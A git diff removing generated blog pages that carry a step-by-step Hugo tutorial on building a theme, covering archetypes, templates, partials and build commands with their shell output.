    $ vi themes/zafta/archetypes/post.md
    -+++
    -Description = ""
    -Tags = []
    -Categories = []
    -+++
    -:wq
    -
    -$ find themes/zafta/archetypes -type f | xargs ls -l
    --rw-r--r--  1 quoha  staff   0 Sep 29 21:53 themes/zafta/archetypes/default.md
    --rw-r--r--  1 quoha  staff  51 Sep 29 21:54 themes/zafta/archetypes/post.md
    -
    -$ hugo --verbose new post/first.md
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 attempting to create  post/first.md of post
    -INFO: 2014/09/29 curpath: /Users/quoha/Sites/zafta/themes/zafta/archetypes/post.md
    -INFO: 2014/09/29 creating /Users/quoha/Sites/zafta/content/post/first.md
    -/Users/quoha/Sites/zafta/content/post/first.md created
    -
    -$ hugo --verbose new post/second.md
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 attempting to create  post/second.md of post
    -INFO: 2014/09/29 curpath: /Users/quoha/Sites/zafta/themes/zafta/archetypes/post.md
    -INFO: 2014/09/29 creating /Users/quoha/Sites/zafta/content/post/second.md
    -/Users/quoha/Sites/zafta/content/post/second.md created
    -
    -$ ls -l content/post
    -total 16
    --rw-r--r--  1 quoha  staff  104 Sep 29 21:54 first.md
    --rw-r--r--  1 quoha  staff  105 Sep 29 21:57 second.md
    -
    -$ cat content/post/first.md
    -+++
    -Categories = []
    -Description = ""
    -Tags = []
    -date = "2014-09-29T21:54:53-05:00"
    -title = "first"
    -
    -+++
    -my first post
    -
    -$ cat content/post/second.md
    -+++
    -Categories = []
    -Description = ""
    -Tags = []
    -date = "2014-09-29T21:57:09-05:00"
    -title = "second"
    -
    -+++
    -my second post
    -
    -$
    -
    - -

    Build the web site and then verify the results.

    - -
    $ rm -rf public
    -$ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 found taxonomies: map[string]string{"category":"categories", "tag":"tags"}
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -2 pages created
    -0 tags created
    -0 categories created
    -in 4 ms
    -$
    -
    - -

    The output says that it created 2 pages. Those are our new posts:

    - -
    $ find public -type f -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff  78 Sep 29 22:13 public/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:13 public/post/first/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:13 public/post/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:13 public/post/second/index.html
    -$
    -
    - -

    The new files are empty because because the templates used to generate the content are empty. The homepage doesn’t show the new content, either. We have to update the templates to add the posts.

    - -

    List and Single Templates

    - -

    In Hugo, we have three major kinds of templates. There’s the home page template that we updated previously. It is used only by the home page. We also have “single” templates which are used to generate output for a single content file. We also have “list” templates that are used to group multiple pieces of content before generating output.

    - -

    Generally speaking, list templates are named “list.html” and single templates are named “single.html.”

    - -

    There are three other types of templates: partials, content views, and terms. We will not go into much detail on these.

    - -

    Add Content to the Homepage

    - -

    The home page will contain a list of posts. Let’s update its template to add the posts that we just created. The logic in the template will run every time we build the site.

    - -
    $ vi themes/zafta/layouts/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  {{ range first 10 .Data.Pages }}
    -    <h1>{{ .Title }}</h1>
    -  {{ end }}
    -</body>
    -</html>
    -:wq
    -
    -$
    -
    - -

    Hugo uses the Go template engine. That engine scans the template files for commands which are enclosed between “{{” and “}}”. In our template, the commands are:

    - -
      -
    1. range
    2. -
    3. .Title
    4. -
    5. end
    6. -
    - -

    The “range” command is an iterator. We’re going to use it to go through the first ten pages. Every HTML file that Hugo creates is treated as a page, so looping through the list of pages will look at every file that will be created.

    - -

    The “.Title” command prints the value of the “title” variable. Hugo pulls it from the front matter in the Markdown file.

    - -

    The “end” command signals the end of the range iterator. The engine loops back to the top of the iteration when it finds “end.” Everything between the “range” and “end” is evaluated every time the engine goes through the iteration. In this file, that would cause the title from the first ten pages to be output as heading level one.

    - -

    It’s helpful to remember that some variables, like .Data, are created before any output files. Hugo loads every content file into the variable and then gives the template a chance to process before creating the HTML files.

    - -

    Build the web site and then verify the results.

    - -
    $ rm -rf public
    -$ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 found taxonomies: map[string]string{"tag":"tags", "category":"categories"}
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -2 pages created
    -0 tags created
    -0 categories created
    -in 4 ms
    -$ find public -type f -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff  94 Sep 29 22:23 public/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:23 public/post/first/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:23 public/post/index.html
    --rw-r--r--  1 quoha  staff   0 Sep 29 22:23 public/post/second/index.html
    -$ cat public/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -
    -    <h1>second</h1>
    -
    -    <h1>first</h1>
    -
    -</body>
    -</html>
    -$
    -
    - -

    Congratulations, the home page shows the title of the two posts. The posts themselves are still empty, but let’s take a moment to appreciate what we’ve done. Your template now generates output dynamically. Believe it or not, by inserting the range command inside of those curly braces, you’ve learned everything you need to know to build a theme. All that’s really left is understanding which template will be used to generate each content file and becoming familiar with the commands for the template engine.

    - -

    And, if that were entirely true, this tutorial would be much shorter. There are a few things to know that will make creating a new template much easier. Don’t worry, though, that’s all to come.

    - -

    Add Content to the Posts

    - -

    We’re working with posts, which are in the content/post/ directory. That means that their section is “post” (and if we don’t do something weird, their type is also “post”).

    - -

    Hugo uses the section and type to find the template file for every piece of content. Hugo will first look for a template file that matches the section or type name. If it can’t find one, then it will look in the _default/ directory. There are some twists that we’ll cover when we get to categories and tags, but for now we can assume that Hugo will try post/single.html, then _default/single.html.

    - -

    Now that we know the search rule, let’s see what we actually have available:

    - -
    $ find themes/zafta -name single.html | xargs ls -l
    --rw-r--r--  1 quoha  staff  132 Sep 29 17:31 themes/zafta/layouts/_default/single.html
    -
    - -

    We could create a new template, post/single.html, or change the default. Since we don’t know of any other content types, let’s start with updating the default.

    - -

    Remember, any content that we haven’t created a template for will end up using this template. That can be good or bad. Bad because I know that we’re going to be adding different types of content and we’re going to end up undoing some of the changes we’ve made. It’s good because we’ll be able to see immediate results. It’s also good to start here because we can start to build the basic layout for the site. As we add more content types, we’ll refactor this file and move logic around. Hugo makes that fairly painless, so we’ll accept the cost and proceed.

    - -

    Please see the Hugo documentation on template rendering for all the details on determining which template to use. And, as the docs mention, if you’re building a single page application (SPA) web site, you can delete all of the other templates and work with just the default single page. That’s a refreshing amount of joy right there.

    - -

    Update the Template File

    - -
    $ vi themes/zafta/layouts/_default/single.html
    -<!DOCTYPE html>
    -<html>
    -<head>
    -  <title>{{ .Title }}</title>
    -</head>
    -<body>
    -  <h1>{{ .Title }}</h1>
    -  {{ .Content }}
    -</body>
    -</html>
    -:wq
    -
    -$
    -
    - -

    Build the web site and verify the results.

    - -
    $ rm -rf public
    -$ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 found taxonomies: map[string]string{"tag":"tags", "category":"categories"}
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -2 pages created
    -0 tags created
    -0 categories created
    -in 4 ms
    -
    -$ find public -type f -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff   94 Sep 29 22:40 public/index.html
    --rw-r--r--  1 quoha  staff  125 Sep 29 22:40 public/post/first/index.html
    --rw-r--r--  1 quoha  staff    0 Sep 29 22:40 public/post/index.html
    --rw-r--r--  1 quoha  staff  128 Sep 29 22:40 public/post/second/index.html
    -
    -$ cat public/post/first/index.html
    -<!DOCTYPE html>
    -<html>
    -<head>
    -  <title>first</title>
    -</head>
    -<body>
    -  <h1>first</h1>
    -  <p>my first post</p>
    -
    -</body>
    -</html>
    -
    -$ cat public/post/second/index.html
    -<!DOCTYPE html>
    -<html>
    -<head>
    -  <title>second</title>
    -</head>
    -<body>
    -  <h1>second</h1>
    -  <p>my second post</p>
    -
    -</body>
    -</html>
    -$
    -
    - -

    Notice that the posts now have content. You can go to localhost:1313/post/first to verify.

    - -

    Linking to Content

    - -

    The posts are on the home page. Let’s add a link from there to the post. Since this is the home page, we’ll update its template.

    - -
    $ vi themes/zafta/layouts/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  {{ range first 10 .Data.Pages }}
    -    <h1><a href="{{ .Permalink }}">{{ .Title }}</a></h1>
    -  {{ end }}
    -</body>
    -</html>
    -
    - -

    Build the web site and verify the results.

    - -
    $ rm -rf public
    -$ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 found taxonomies: map[string]string{"tag":"tags", "category":"categories"}
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -2 pages created
    -0 tags created
    -0 categories created
    -in 4 ms
    -
    -$ find public -type f -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff  149 Sep 29 22:44 public/index.html
    --rw-r--r--  1 quoha  staff  125 Sep 29 22:44 public/post/first/index.html
    --rw-r--r--  1 quoha  staff    0 Sep 29 22:44 public/post/index.html
    --rw-r--r--  1 quoha  staff  128 Sep 29 22:44 public/post/second/index.html
    -
    -$ cat public/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -
    -    <h1><a href="/post/second/">second</a></h1>
    -
    -    <h1><a href="/post/first/">first</a></h1>
    -
    -</body>
    -</html>
    -
    -$
    -
    - -

    Create a Post Listing

    - -

    We have the posts displaying on the home page and on their own page. We also have a file public/post/index.html that is empty. Let’s make it show a list of all posts (not just the first ten).

    - -

    We need to decide which template to update. This will be a listing, so it should be a list template. Let’s take a quick look and see which list templates are available.

    - -
    $ find themes/zafta -name list.html | xargs ls -l
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/_default/list.html
    -
    - -

    As with the single post, we have to decide to update _default/list.html or create post/list.html. We still don’t have multiple content types, so let’s stay consistent and update the default list template.

    - -

    Creating Top Level Pages

    - -

    Let’s add an “about” page and display it at the top level (as opposed to a sub-level like we did with posts).

    - -

    The default in Hugo is to use the directory structure of the content/ directory to guide the location of the generated html in the public/ directory. Let’s verify that by creating an “about” page at the top level:

    - -
    $ vi content/about.md
    -+++
    -title = "about"
    -description = "about this site"
    -date = "2014-09-27"
    -slug = "about time"
    -+++
    -
    -## about us
    -
    -i'm speechless
    -:wq
    -
    - -

    Generate the web site and verify the results.

    - -
    $ find public -name '*.html' | xargs ls -l
    --rw-rw-r--  1 mdhender  staff   334 Sep 27 15:08 public/about-time/index.html
    --rw-rw-r--  1 mdhender  staff   527 Sep 27 15:08 public/index.html
    --rw-rw-r--  1 mdhender  staff   358 Sep 27 15:08 public/post/first-post/index.html
    --rw-rw-r--  1 mdhender  staff     0 Sep 27 15:08 public/post/index.html
    --rw-rw-r--  1 mdhender  staff   342 Sep 27 15:08 public/post/second-post/index.html
    -
    - -

    Notice that the page wasn’t created at the top level. It was created in a sub-directory named ‘about-time/’. That name came from our slug. Hugo will use the slug to name the generated content. It’s a reasonable default, by the way, but we can learn a few things by fighting it for this file.

    - -

    One other thing. Take a look at the home page.

    - -
    $ cat public/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -    <h1><a href="http://localhost:1313/post/theme/">creating a new theme</a></h1>
    -    <h1><a href="http://localhost:1313/about-time/">about</a></h1>
    -    <h1><a href="http://localhost:1313/post/second-post/">second</a></h1>
    -    <h1><a href="http://localhost:1313/post/first-post/">first</a></h1>
    -<script>document.write('<script src="http://'
    -        + (location.host || 'localhost').split(':')[0]
    -        + ':1313/livereload.js?mindelay=10"></'
    -        + 'script>')</script></body>
    -</html>
    -
    - -

    Notice that the “about” link is listed with the posts? That’s not desirable, so let’s change that first.

    - -
    $ vi themes/zafta/layouts/index.html
    -<!DOCTYPE html>
    -<html>
    -<body>
    -  <h1>posts</h1>
    -  {{ range first 10 .Data.Pages }}
    -    {{ if eq .Type "post"}}
    -      <h2><a href="{{ .Permalink }}">{{ .Title }}</a></h2>
    -    {{ end }}
    -  {{ end }}
    -
    -  <h1>pages</h1>
    -  {{ range .Data.Pages }}
    -    {{ if eq .Type "page" }}
    -      <h2><a href="{{ .Permalink }}">{{ .Title }}</a></h2>
    -    {{ end }}
    -  {{ end }}
    -</body>
    -</html>
    -:wq
    -
    - -

    Generate the web site and verify the results. The home page has two sections, posts and pages, and each section has the right set of headings and links in it.

    - -

    But, that about page still renders to about-time/index.html.

    - -
    $ find public -name '*.html' | xargs ls -l
    --rw-rw-r--  1 mdhender  staff    334 Sep 27 15:33 public/about-time/index.html
    --rw-rw-r--  1 mdhender  staff    645 Sep 27 15:33 public/index.html
    --rw-rw-r--  1 mdhender  staff    358 Sep 27 15:33 public/post/first-post/index.html
    --rw-rw-r--  1 mdhender  staff      0 Sep 27 15:33 public/post/index.html
    --rw-rw-r--  1 mdhender  staff    342 Sep 27 15:33 public/post/second-post/index.html
    -
    - -

    Knowing that hugo is using the slug to generate the file name, the simplest solution is to change the slug. Let’s do it the hard way and change the permalink in the configuration file.

    - -
    $ vi config.toml
    -[permalinks]
    -    page = "/:title/"
    -    about = "/:filename/"
    -
    - -

    Generate the web site and verify that this didn’t work. Hugo lets “slug” or “URL” override the permalinks setting in the configuration file. Go ahead and comment out the slug in content/about.md, then generate the web site to get it to be created in the right place.

    - -

    Sharing Templates

    - -

    If you’ve been following along, you probably noticed that posts have titles in the browser and the home page doesn’t. That’s because we didn’t put the title in the home page’s template (layouts/index.html). That’s an easy thing to do, but let’s look at a different option.

    - -

    We can put the common bits into a shared template that’s stored in the themes/zafta/layouts/partials/ directory.

    - - - -

    In Hugo, a partial is a sugar-coated template. Normally a template reference has a path specified. Partials are different. Hugo searches for them along a TODO defined search path. This makes it easier for end-users to override the theme’s presentation.

    - -
    $ vi themes/zafta/layouts/partials/header.html
    -<!DOCTYPE html>
    -<html>
    -<head>
    -    <title>{{ .Title }}</title>
    -</head>
    -<body>
    -:wq
    -
    -$ vi themes/zafta/layouts/partials/footer.html
    -</body>
    -</html>
    -:wq
    -
    - -

    Update the Home Page Template to Use the Partials

    - -

    The most noticeable difference between a template call and a partials call is the lack of path:

    - -
    {{ template "theme/partials/header.html" . }}
    -
    - -

    versus

    - -
    {{ partial "header.html" . }}
    -
    - -

    Both pass in the context.

    - -

    Let’s change the home page template to use these new partials.

    - -
    $ vi themes/zafta/layouts/index.html
    -{{ partial "header.html" . }}
    -
    -  <h1>posts</h1>
    -  {{ range first 10 .Data.Pages }}
    -    {{ if eq .Type "post"}}
    -      <h2><a href="{{ .Permalink }}">{{ .Title }}</a></h2>
    -    {{ end }}
    -  {{ end }}
    -
    -  <h1>pages</h1>
    -  {{ range .Data.Pages }}
    -    {{ if or (eq .Type "page") (eq .Type "about") }}
    -      <h2><a href="{{ .Permalink }}">{{ .Type }} - {{ .Title }} - {{ .RelPermalink }}</a></h2>
    -    {{ end }}
    -  {{ end }}
    -
    -{{ partial "footer.html" . }}
    -:wq
    -
    - -

    Generate the web site and verify the results. The title on the home page is now “your title here”, which comes from the “title” variable in the config.toml file.

    - -

    Update the Default Single Template to Use the Partials

    - -
    $ vi themes/zafta/layouts/_default/single.html
    -{{ partial "header.html" . }}
    -
    -  <h1>{{ .Title }}</h1>
    -  {{ .Content }}
    -
    -{{ partial "footer.html" . }}
    -:wq
    -
    - -

    Generate the web site and verify the results. The title on the posts and the about page should both reflect the value in the markdown file.

    - -

    Add “Date Published” to Posts

    - -

    It’s common to have posts display the date that they were written or published, so let’s add that. The front matter of our posts has a variable named “date.” It’s usually the date the content was created, but let’s pretend that’s the value we want to display.

    - -

    Add “Date Published” to the Template

    - -

    We’ll start by updating the template used to render the posts. The template code will look like:

    - -
    {{ .Date.Format "Mon, Jan 2, 2006" }}
    -
    - -

    Posts use the default single template, so we’ll change that file.

    - -
    $ vi themes/zafta/layouts/_default/single.html
    -{{ partial "header.html" . }}
    -
    -  <h1>{{ .Title }}</h1>
    -  <h2>{{ .Date.Format "Mon, Jan 2, 2006" }}</h2>
    -  {{ .Content }}
    -
    -{{ partial "footer.html" . }}
    -:wq
    -
    - -

    Generate the web site and verify the results. The posts now have the date displayed in them. There’s a problem, though. The “about” page also has the date displayed.

    - -

    As usual, there are a couple of ways to make the date display only on posts. We could do an “if” statement like we did on the home page. Another way would be to create a separate template for posts.

    - -

    The “if” solution works for sites that have just a couple of content types. It aligns with the principle of “code for today,” too.

    - -

    Let’s assume, though, that we’ve made our site so complex that we feel we have to create a new template type. In Hugo-speak, we’re going to create a section template.

    - -

    Let’s restore the default single template before we forget.

    - -
    $ mkdir themes/zafta/layouts/post
    -$ vi themes/zafta/layouts/_default/single.html
    -{{ partial "header.html" . }}
    -
    -  <h1>{{ .Title }}</h1>
    -  {{ .Content }}
    -
    -{{ partial "footer.html" . }}
    -:wq
    -
    - -

    Now we’ll update the post’s version of the single template. If you remember Hugo’s rules, the template engine will use this version over the default.

    - -
    $ vi themes/zafta/layouts/post/single.html
    -{{ partial "header.html" . }}
    -
    -  <h1>{{ .Title }}</h1>
    -  <h2>{{ .Date.Format "Mon, Jan 2, 2006" }}</h2>
    -  {{ .Content }}
    -
    -{{ partial "footer.html" . }}
    -:wq
    -
    -
    - -

    Note that we removed the date logic from the default template and put it in the post template. Generate the web site and verify the results. Posts have dates and the about page doesn’t.

    - -

    Don’t Repeat Yourself

    - -

    DRY is a good design goal and Hugo does a great job supporting it. Part of the art of a good template is knowing when to add a new template and when to update an existing one. While you’re figuring that out, accept that you’ll be doing some refactoring. Hugo makes that easy and fast, so it’s okay to delay splitting up a template.

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/test4/index.html b/themes/public/article/test4/index.html deleted file mode 100644 index 7a1af63c..00000000 --- a/themes/public/article/test4/index.html +++ /dev/null @@ -1,1500 +0,0 @@ - - - - - - - - - - Creating a new theme | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    Creating a new theme

    -
    - - - 2015-06-24 - - - - - - - - - starting - - - - - - test1 - -
    - - - - -

    Introduction

    - -

    This tutorial will show you how to create a simple theme in Hugo. I assume that you are familiar with HTML, the bash command line, and that you are comfortable using Markdown to format content. I’ll explain how Hugo uses templates and how you can organize your templates to create a theme. I won’t cover using CSS to style your theme.

    - -

    We’ll start with creating a new site with a very basic template. Then we’ll add in a few pages and posts. With small variations on that, you will be able to create many different types of web sites.

    - -

    In this tutorial, commands that you enter will start with the “$” prompt. The output will follow. Lines that start with “#” are comments that I’ve added to explain a point. When I show updates to a file, the “:wq” on the last line means to save the file.

    - -

    Here’s an example:

    - -
    ## this is a comment
    -$ echo this is a command
    -this is a command
    -
    -## edit the file
    -$vi foo.md
    -+++
    -date = "2014-09-28"
    -title = "creating a new theme"
    -+++
    -
    -bah and humbug
    -:wq
    -
    -## show it
    -$ cat foo.md
    -+++
    -date = "2014-09-28"
    -title = "creating a new theme"
    -+++
    -
    -bah and humbug
    -$
    -
    - -

    Some Definitions

    - -

    There are a few concepts that you need to understand before creating a theme.

    - -

    Skins

    - -

    Skins are the files responsible for the look and feel of your site. It’s the CSS that controls colors and fonts, it’s the Javascript that determines actions and reactions. It’s also the rules that Hugo uses to transform your content into the HTML that the site will serve to visitors.

    - -

    You have two ways to create a skin. The simplest way is to create it in the layouts/ directory. If you do, then you don’t have to worry about configuring Hugo to recognize it. The first place that Hugo will look for rules and files is in the layouts/ directory so it will always find the skin.

    - -

    Your second choice is to create it in a sub-directory of the themes/ directory. If you do, then you must always tell Hugo where to search for the skin. It’s extra work, though, so why bother with it?

    - -

    The difference between creating a skin in layouts/ and creating it in themes/ is very subtle. A skin in layouts/ can’t be customized without updating the templates and static files that it is built from. A skin created in themes/, on the other hand, can be and that makes it easier for other people to use it.

    - -

    The rest of this tutorial will call a skin created in the themes/ directory a theme.

    - -

    Note that you can use this tutorial to create a skin in the layouts/ directory if you wish to. The main difference will be that you won’t need to update the site’s configuration file to use a theme.

    - -

    The Home Page

    - -

    The home page, or landing page, is the first page that many visitors to a site see. It is the index.html file in the root directory of the web site. Since Hugo writes files to the public/ directory, our home page is public/index.html.

    - -

    Site Configuration File

    - -

    When Hugo runs, it looks for a configuration file that contains settings that override default values for the entire site. The file can use TOML, YAML, or JSON. I prefer to use TOML for my configuration files. If you prefer to use JSON or YAML, you’ll need to translate my examples. You’ll also need to change the name of the file since Hugo uses the extension to determine how to process it.

    - -

    Hugo translates Markdown files into HTML. By default, Hugo expects to find Markdown files in your content/ directory and template files in your themes/ directory. It will create HTML files in your public/ directory. You can change this by specifying alternate locations in the configuration file.

    - -

    Content

    - -

    Content is stored in text files that contain two sections. The first section is the “front matter,” which is the meta-information on the content. The second section contains Markdown that will be converted to HTML.

    - -

    Front Matter

    - -

    The front matter is information about the content. Like the configuration file, it can be written in TOML, YAML, or JSON. Unlike the configuration file, Hugo doesn’t use the file’s extension to know the format. It looks for markers to signal the type. TOML is surrounded by “+++”, YAML by “---”, and JSON is enclosed in curly braces. I prefer to use TOML, so you’ll need to translate my examples if you prefer YAML or JSON.

    - -

    The information in the front matter is passed into the template before the content is rendered into HTML.

    - -

    Markdown

    - -

    Content is written in Markdown which makes it easier to create the content. Hugo runs the content through a Markdown engine to create the HTML which will be written to the output file.

    - -

    Template Files

    - -

    Hugo uses template files to render content into HTML. Template files are a bridge between the content and presentation. Rules in the template define what content is published, where it’s published to, and how it will rendered to the HTML file. The template guides the presentation by specifying the style to use.

    - -

    There are three types of templates: single, list, and partial. Each type takes a bit of content as input and transforms it based on the commands in the template.

    - -

    Hugo uses its knowledge of the content to find the template file used to render the content. If it can’t find a template that is an exact match for the content, it will shift up a level and search from there. It will continue to do so until it finds a matching template or runs out of templates to try. If it can’t find a template, it will use the default template for the site.

    - -

    Please note that you can use the front matter to influence Hugo’s choice of templates.

    - -

    Single Template

    - -

    A single template is used to render a single piece of content. For example, an article or post would be a single piece of content and use a single template.

    - -

    List Template

    - -

    A list template renders a group of related content. That could be a summary of recent postings or all articles in a category. List templates can contain multiple groups.

    - -

    The homepage template is a special type of list template. Hugo assumes that the home page of your site will act as the portal for the rest of the content in the site.

    - -

    Partial Template

    - -

    A partial template is a template that can be included in other templates. Partial templates must be called using the “partial” template command. They are very handy for rolling up common behavior. For example, your site may have a banner that all pages use. Instead of copying the text of the banner into every single and list template, you could create a partial with the banner in it. That way if you decide to change the banner, you only have to change the partial template.

    - -

    Create a New Site

    - -

    Let’s use Hugo to create a new web site. I’m a Mac user, so I’ll create mine in my home directory, in the Sites folder. If you’re using Linux, you might have to create the folder first.

    - -

    The “new site” command will create a skeleton of a site. It will give you the basic directory structure and a useable configuration file.

    - -
    $ hugo new site ~/Sites/zafta
    -$ cd ~/Sites/zafta
    -$ ls -l
    -total 8
    -drwxr-xr-x  7 quoha  staff  238 Sep 29 16:49 .
    -drwxr-xr-x  3 quoha  staff  102 Sep 29 16:49 ..
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 archetypes
    --rw-r--r--  1 quoha  staff   82 Sep 29 16:49 config.toml
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 content
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 layouts
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 static
    -$
    -
    - -

    Take a look in the content/ directory to confirm that it is empty.

    - -

    The other directories (archetypes/, layouts/, and static/) are used when customizing a theme. That’s a topic for a different tutorial, so please ignore them for now.

    - -

    Generate the HTML For the New Site

    - -

    Running the hugo command with no options will read all the available content and generate the HTML files. It will also copy all static files (that’s everything that’s not content). Since we have an empty site, it won’t do much, but it will do it very quickly.

    - -
    $ hugo --verbose
    -INFO: 2014/09/29 Using config file: config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -WARN: 2014/09/29 Unable to locate layout: [index.html _default/list.html _default/single.html]
    -WARN: 2014/09/29 Unable to locate layout: [404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 2 ms
    -$
    -
    - -

    The “--verbose” flag gives extra information that will be helpful when we build the template. Every line of the output that starts with “INFO:” or “WARN:” is present because we used that flag. The lines that start with “WARN:” are warning messages. We’ll go over them later.

    - -

    We can verify that the command worked by looking at the directory again.

    - -
    $ ls -l
    -total 8
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 archetypes
    --rw-r--r--  1 quoha  staff   82 Sep 29 16:49 config.toml
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 content
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 layouts
    -drwxr-xr-x  4 quoha  staff  136 Sep 29 17:02 public
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 static
    -$
    -
    - -

    See that new public/ directory? Hugo placed all generated content there. When you’re ready to publish your web site, that’s the place to start. For now, though, let’s just confirm that we have what we’d expect from a site with no content.

    - -
    $ ls -l public
    -total 16
    --rw-r--r--  1 quoha  staff  416 Sep 29 17:02 index.xml
    --rw-r--r--  1 quoha  staff  262 Sep 29 17:02 sitemap.xml
    -$
    -
    - -

    Hugo created two XML files, which is standard, but there are no HTML files.

    - -

    Test the New Site

    - -

    Verify that you can run the built-in web server. It will dramatically shorten your development cycle if you do. Start it by running the “server” command. If it is successful, you will see output similar to the following:

    - -
    $ hugo server --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -WARN: 2014/09/29 Unable to locate layout: [index.html _default/list.html _default/single.html]
    -WARN: 2014/09/29 Unable to locate layout: [404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 2 ms
    -Serving pages from /Users/quoha/Sites/zafta/public
    -Web Server is available at http://localhost:1313
    -Press Ctrl+C to stop
    -
    - -

    Connect to the listed URL (it’s on the line that starts with “Web Server”). If everything is working correctly, you should get a page that shows the following:

    - -
    index.xml
    -sitemap.xml
    -
    - -

    That’s a listing of your public/ directory. Hugo didn’t create a home page because our site has no content. When there’s no index.html file in a directory, the server lists the files in the directory, which is what you should see in your browser.

    - -

    Let’s go back and look at those warnings again.

    - -
    WARN: 2014/09/29 Unable to locate layout: [index.html _default/list.html _default/single.html]
    -WARN: 2014/09/29 Unable to locate layout: [404.html]
    -
    - -

    That second warning is easier to explain. We haven’t created a template to be used to generate “page not found errors.” The 404 message is a topic for a separate tutorial.

    - -

    Now for the first warning. It is for the home page. You can tell because the first layout that it looked for was “index.html.” That’s only used by the home page.

    - -

    I like that the verbose flag causes Hugo to list the files that it’s searching for. For the home page, they are index.html, _default/list.html, and _default/single.html. There are some rules that we’ll cover later that explain the names and paths. For now, just remember that Hugo couldn’t find a template for the home page and it told you so.

    - -

    At this point, you’ve got a working installation and site that we can build upon. All that’s left is to add some content and a theme to display it.

    - -

    Create a New Theme

    - -

    Hugo doesn’t ship with a default theme. There are a few available (I counted a dozen when I first installed Hugo) and Hugo comes with a command to create new themes.

    - -

    We’re going to create a new theme called “zafta.” Since the goal of this tutorial is to show you how to fill out the files to pull in your content, the theme will not contain any CSS. In other words, ugly but functional.

    - -

    All themes have opinions on content and layout. For example, Zafta uses “post” over “blog”. Strong opinions make for simpler templates but differing opinions make it tougher to use themes. When you build a theme, consider using the terms that other themes do.

    - -

    Create a Skeleton

    - -

    Use the hugo “new” command to create the skeleton of a theme. This creates the directory structure and places empty files for you to fill out.

    - -
    $ hugo new theme zafta
    -
    -$ ls -l
    -total 8
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 archetypes
    --rw-r--r--  1 quoha  staff   82 Sep 29 16:49 config.toml
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 content
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 layouts
    -drwxr-xr-x  4 quoha  staff  136 Sep 29 17:02 public
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 static
    -drwxr-xr-x  3 quoha  staff  102 Sep 29 17:31 themes
